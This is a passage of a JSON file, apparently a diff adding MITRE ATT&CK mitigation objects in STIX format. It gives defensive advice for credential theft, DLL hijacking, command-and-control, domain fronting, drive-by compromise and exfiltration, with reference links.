2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.916Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1003", + "url": "https://attack.mitre.org/mitigations/T1003" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "source_name": "Microsoft LSA" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard", + "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", + "source_name": "TechNet Credential Guard" + }, + { + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard", + "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", + "source_name": "GitHub SHB Credential Guard" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr", + "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", + "source_name": "Microsoft Replication ACL" + }, + { + "url": "https://technet.microsoft.com/library/jj865668.aspx", + "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", + "source_name": "Microsoft Disable NTLM Nov 2012" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2019-07-24T18:12:19.081Z", + "name": "Credentials in Files Mitigation", + "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1081", + "external_id": "T1081", + "source_name": "mitre-attack" + }, + { + "url": "http://support.microsoft.com/kb/2962486", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "source_name": "Microsoft MS14-025" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Credentials in Registry Mitigation", + "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:22:57.902Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1214", + "external_id": "T1214", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Custom Command and Control Protocol Mitigation", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:13:22.017Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1094", + "external_id": "T1094", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Custom Cryptographic Protocol Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:14:14.227Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1024", + "external_id": "T1024", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "DCShadow Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:23:59.683Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1207", + "external_id": "T1207", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "DLL Search Order Hijacking Mitigation", + "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:18.194Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1038", + "url": "https://attack.mitre.org/mitigations/T1038" + }, + { + "source_name": "Microsoft DLL Preloading", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx" + }, + { + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "DLL Side-Loading Mitigation", + "description": "Update software regularly. Install software in write-protected locations. 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Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "x_mitre_version": "1.0", + "modified": "2020-07-14T22:23:56.026Z", + "created": "2019-04-08T17:51:41.510Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1491", + "external_id": "T1491", + "source_name": "mitre-attack" + }, + { + "source_name": "OWASP Top 10 2017", + "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. 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Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "source_name": "Microsoft Process Wide Com Keys" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "source_name": "Microsoft System Wide Com Keys" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "source_name": "Microsoft COM ACL" + }, + { + "source_name": "Microsoft Disable DCOM", + "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.", + "url": "https://technet.microsoft.com/library/cc771387.aspx" + }, + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Do Not Mitigate", + "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", + "x_mitre_version": "1.0", + "modified": "2019-07-23T14:44:24.727Z", + "id": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "created": "2019-07-19T14:58:42.715Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1055", + "external_id": "M1055", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Domain Fronting Mitigation", + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:12:36.946Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1172", + "external_id": "T1172", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT29 Domain Fronting With TOR March 2017", + "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Domain Generation Algorithms Mitigation", + "description": "This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:13:31.378Z", + "created": "2019-02-18T17:22:57.941Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1483", + "external_id": "T1483", + "source_name": "mitre-attack" + }, + { + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/", + "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA Brute Force" + }, + { + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Domain Trust Discovery Mitigation", + "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)", + "x_mitre_version": "1.0", + "modified": "2020-09-17T18:26:17.815Z", + "created": "2019-02-15T13:04:25.150Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1482", + "external_id": "T1482", + "source_name": "mitre-attack" + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "source_name": "Harmj0y Domain Trusts" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Drive-by Compromise Mitigation", + "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:14:33.952Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1189", + "external_id": "T1189", + "source_name": "mitre-attack" + }, + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. 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Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Encrypt Sensitive Information", + "description": "Protect sensitive information with strong encryption.", + "x_mitre_version": "1.0", + "modified": "2019-06-11T16:43:44.834Z", + "id": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created": "2019-06-11T16:43:44.834Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1041", + "external_id": "M1041", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Endpoint Denial of Service Mitigation", + "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:16:50.511Z", + "created": "2019-04-22T22:03:26.087Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1499", + "external_id": "T1499", + "source_name": "mitre-attack" + }, + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2019-06-11T16:40:14.543Z", + "id": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "description": "Prevent modification of environment variables by unauthorized users and groups.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Environment Variable Permissions", + "created": "2019-06-11T16:40:14.543Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1039", + "external_id": "M1039", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Environmental Keying Mitigation", + "description": "This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:17:09.258Z", + "created": "2019-02-01T14:35:39.565Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1480", + "external_id": "T1480", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-06-20T20:11:42.195Z", + "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "description": "Block execution of code on a system through application control, and/or script blocking.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Execution Prevention", + "created": "2019-06-11T16:35:25.488Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1038", + "external_id": "M1038", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Execution through Module Load Mitigation", + "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:18:25.859Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1129", + "external_id": "T1129", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Exfiltration Over Command and Control Channel Mitigation", + "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:19:30.892Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1041", + "external_id": "T1041", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Exfiltration Over Other Network Medium Mitigation", + "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)", + 